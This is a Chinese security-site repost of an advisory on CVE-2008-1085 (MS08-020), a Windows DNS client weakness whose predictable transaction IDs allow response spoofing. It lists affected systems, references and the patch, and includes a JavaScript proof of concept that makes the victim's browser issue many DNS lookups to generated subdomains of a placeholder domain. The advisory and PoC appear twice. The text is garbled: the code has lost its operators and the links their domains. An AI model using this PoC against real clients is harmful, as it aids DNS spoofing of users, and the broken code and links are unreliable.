Microsoft Windows DNS客户端可预测事件处理ID漏洞（
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
受影响系统
Microsoft Windows XP SP2
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows 2000SP4
描述
--------------------------------------------------------------------------------
BUGTRAQ ID: 28553
CVE(CAN) ID: CVE-2008-1085
Microsoft Windows是微软发布的非常流行的操作系统。
Windows DNS客户端服务在执行DNS查询时，随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应，欺骗或重新定向合法位置的Inter通讯。
<来源Amit Klein （Amit.Klein@SanctumInc.）
链接http://secunia./advisories/29696/
http://marc.info/?l=bugtraq&m=120767868524748&w=2
http://.trusteer./docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf
http://.microsoft./tech/security/Bulletin/MS08-020.mspx?pf=true
http://.us-cert.gov/cas/techalerts/TA08-099A.html
>
测试方法
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<body>
<script>
var max_n=20;
var n=0;
var x=new Image();
x.onerror=loadnext;
x.onload=loadnext;
function loadnext()
{
if (n<max_n)
{
n ;
x.src="http://t-" (new Date()).getTime()
"-" n ".domain.site/";
}
}
loadnext();
</script>
</body>
</html>
建议
--------------------------------------------------------------------------------
厂商补丁
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS08-020）以及相应补丁:
MS08-020Vulnerability in DNS Client Could Allow Spoofing (945553)
链接http://.microsoft./tech/security/Bulletin/MS08-020.mspx?pf=true
Microsoft Windows XP SP2
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows 2000SP4
描述
--------------------------------------------------------------------------------
BUGTRAQ ID: 28553
CVE(CAN) ID: CVE-2008-1085
Microsoft Windows是微软发布的非常流行的操作系统。
Windows DNS客户端服务在执行DNS查询时，随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应，欺骗或重新定向合法位置的Inter通讯。
<来源Amit Klein （Amit.Klein@SanctumInc.）
链接http://secunia./advisories/29696/
http://marc.info/?l=bugtraq&m=120767868524748&w=2
http://.trusteer./docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf
http://.microsoft./tech/security/Bulletin/MS08-020.mspx?pf=true
http://.us-cert.gov/cas/techalerts/TA08-099A.html
>
测试方法
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<body>
<script>
var max_n=20;
var n=0;
var x=new Image();
x.onerror=loadnext;
x.onload=loadnext;
function loadnext()
{
if (n<max_n)
{
n ;
x.src="http://t-" (new Date()).getTime()
"-" n ".domain.site/";
}
}
loadnext();
</script>
</body>
</html>
建议
--------------------------------------------------------------------------------
厂商补丁
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS08-020）以及相应补丁:
MS08-020Vulnerability in DNS Client Could Allow Spoofing (945553)
链接http://.microsoft./tech/security/Bulletin/MS08-020.mspx?pf=true
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想